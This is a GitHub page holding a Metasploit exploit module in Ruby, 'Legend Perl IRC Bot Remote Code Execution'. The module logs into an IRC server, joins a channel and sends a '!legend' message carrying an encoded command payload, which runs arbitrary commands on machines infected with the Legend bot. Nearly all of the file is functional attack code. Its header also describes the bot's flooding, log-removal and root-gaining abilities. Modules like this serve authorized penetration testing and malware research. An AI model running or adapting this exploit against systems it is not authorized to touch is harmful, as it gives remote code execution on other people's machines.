-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
legend_bot_exec.rb
169 lines (143 loc) · 4.66 KB
/
legend_bot_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Legend Perl IRC Bot Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution on the Legend Perl IRC Bot.
This bot has been used as a payload in the Shellshock spam last October 2014.
This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and
UDP flooding, the ability to remove system logs, and ability to gain root, and
VNC scanning.
Kevin Stevens, a Senior Threat Researcher at Damballa, has uploaded this script
to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.
},
'Author' =>
[
'Jay Turla' # msf and initial discovery
#MalwareMustDie
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '121681' ],
[ 'EDB', '36836' ],
[ 'URL', 'https://www.damballa.com/perlbotnado/' ],
[ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details
],
'Platform' => %w{ unix win },
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Targets' =>
[
[ 'Legend IRC Bot', { } ]
],
'Privileged' => false,
'DisclosureDate' => '2015-04-27',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6667),
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
])
end
def post_auth?
true
end
def check
connect
res = register(sock)
if res =~ /463/ || res =~ /464/
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return Exploit::CheckCode::Unknown
end
res = join(sock)
if !res =~ /353/ && !res =~ /366/
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return Exploit::CheckCode::Unknown
end
quit(sock)
disconnect
if res =~ /auth/ && res =~ /logged in/
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while !read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
elog(e)
end
data
end
def register(sock)
msg = ""
if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
end
if datastore['NICK'].length > 9
nick = rand_text_alpha(9)
print_error("The nick is longer than 9 characters, using #{nick}")
else
nick = datastore['NICK']
end
msg << "NICK #{nick}\r\n"
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
send_msg(sock,msg)
end
def join(sock)
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
send_msg(sock, join_msg)
end
def legend_command(sock)
encoded = payload.encoded
command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n"
send_msg(sock, command_msg)
end
def quit(sock)
quit_msg = "QUIT :bye bye\r\n"
sock.put(quit_msg)
end
def exploit
connect
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
res = register(sock)
if res =~ /463/ || res =~ /464/
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return
end
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
res = join(sock)
if !res =~ /353/ && !res =~ /366/
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return
end
print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")
legend_command(sock)
quit(sock)
disconnect
end
end